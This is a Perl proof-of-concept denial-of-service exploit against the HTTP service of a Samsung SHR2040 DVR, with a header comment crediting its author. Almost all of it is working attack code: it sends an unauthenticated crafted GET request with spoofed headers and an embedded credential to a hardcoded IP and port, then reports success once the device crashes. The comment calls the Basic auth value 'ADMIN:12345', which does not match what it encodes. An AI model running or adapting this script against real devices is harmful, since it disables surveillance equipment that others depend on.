#!/usr/bin/perl -w
#
# Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC
#
# The vulnerability is caused due to an unspecified error in the cgis
# files filter used for configure propierties. This can be exploited by
# sending a specially crafted HTTP request (NO necessary authentication), 
# which will cause the HTTP service on the system to crash.
#
# Requisites: Test default ports:
#
# PORT STATE SERVICE
# 554/tcp open rtsp
# 557/tcp open openvms-sysipc
#
# The vulnerability has been reported in versions Samsung DVR
#
# Firmware Version B3.03E-K1.53-V2.19_0705281908, Model = SHR2040
#
# More information:   http://www.samsung.com
#      http://www.sybsecurity.com
#
# Very special credits: str0ke, Kf, rathaous, !dsr, 0dd.
#
# and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55,
# pikah, codebreak, h3llfyr3, canit0.
#
# Alex Hernandez ahernandez [at] sybsecurity dot com
#

use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $string =   "/x";        # Strings to send
my $method =   'GET';        # Method "GET" or "POST"
my $uri =   'http://10.50.10.248:557';  # IP address:port (change this)
my $content =   "/test.html";      # Paths to crash

#my $content =   "/first.htm";
#my $content =   "/content_frame.htm?cgiName=";
#my $content =   "/index_menu.htm?lang=en&topMenu=";

my $headers = HTTP::Headers->new(

'Accept:'               => '*/*',
'Referer:'         => 'http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557',
'Accept-Language:'       => 'en-us,en;q=0.5',
'UA-CPU:'            => 'x86',
'Accept-Encoding:'      => 'gzip, deflate',
'User-Agent:'     => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Host:'            => '10.50.10.248:557',
'Connection'            => 'keep-alive',
'Authorization:'  => 'Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==', # base64 encode ADMIN:12345

);

my $request = HTTP::Request->new($method, $uri, $headers, $content, $string);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
print "[+] Coded by: Alex Hernandez [ahernandez\@sybsecurity.com]\n";
print "[+] We got this response from DVR: \n\n" . $response->content . "\n";

my $data;
  foreach my $pair (split('&', $response->content)) {
     my ($k, $v) = split('=', $pair);
    $data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

  print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
  print "[+] Coded by: Alex Hernandez[ahernandez\@sybsecurity.com]\n";
  print "[+] Use:\n";
  print "\tperl -x dos_dvrsamsung.pl\n";
   print $data->{RESPMSG} . "\n";
  exit(0);

} else {

   print "[+] Denial of service Exploit successed!!!\n";
  print "[+] By Alex Hernandez[ahernandez\@sybsecurity.com]\n";

}